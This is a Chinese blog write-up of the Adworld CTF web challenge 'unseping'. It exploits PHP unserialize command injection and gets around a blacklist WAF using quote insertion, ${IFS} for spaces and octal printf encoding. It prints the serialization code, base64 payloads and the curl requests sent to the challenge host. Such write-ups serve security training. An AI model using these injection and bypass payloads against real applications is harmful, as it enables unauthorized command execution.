攻防世界-web-unseping

1. 题目描述

打开链接,如下代码

代码都贴出来了,那么只需要分析代码即可,看是否存在漏洞以及如何利用

2. 思路分析

代码很简单,外部只需要接收cft这个参数,然后将这个参数反序列化后赋值给对量的method和args参数,啊UI周内部存在执行命令的函数ping调用exec去执行外部传入的args参数,所以这里明显存在命令注入,关键是__wakeup函数中存在一个waf,waf中对传入的参数有个黑名单限制,但是,对于命令注入这种攻击手法来说,黑名单限制容易绕过,因此我们思路就很清晰了

2.1 存在命令注入,利用命令注入执行命令

2.2 尝试绕过waf的限制

3. 解题过程

3.1 我们先简单执行下pwd这个命令,证明确实存在命令注入

$str = serialize(new ease("ping", array("pwd")));
print(base64_encode($str));

我们传入的args是一个数组,这里可以搜下call_user_func_array这个函数的用法

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319"

然后通过curl命令访问,得到结果如下

说明pwd命令执行成功

3.2 执行ls命令,尝试绕过黑名单的限制

这里使用单双引号绕过

$str = serialize(new ease("ping", array('l""s')));
print(base64_encode($str));

同样执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ=="

得到结果为:

刚好找到一个flag_1s_here,经过验证,这是一个目录,这个时候同样执行ls命令,这里flag同样使用单双引号绕过即可,但是空格可以使用${IFS}替换

$str = serialize(new ease("ping", array('l""s${IFS}fla""g_1s_here')));
print(base64_encode($str));

同样,执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsYSIiZ18xc19oZXJlIjt9fQ=="

可以看到包含有flag的文件了

那么接下来就是执行cat flag_1s_here/flag_831b69012c67b35f.php命令获取该文件的内容,这里关键在于/该如何绕过,这里参考网上做法,通过八进制编码绕过(比如a可以表示成\141)

这里通过python简单转了下

然后再转成shell执行命令的形式

$str = serialize(new ease("ping", array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')));
print(base64_encode($str));

最终执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319"

得到结果为cyberpeace{443e57942c8c0bf6e2e0193b56f359a4}

4. 总结

4.1 这里没有通过burpsuite而是通过执行命令的方式来获取结果,因为我这边使用burpsuite没法正常显示,不清楚原因,有清楚的欢迎评论

4.2 这里关键在于命令注入各种各样的绕过方式,获益良多

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值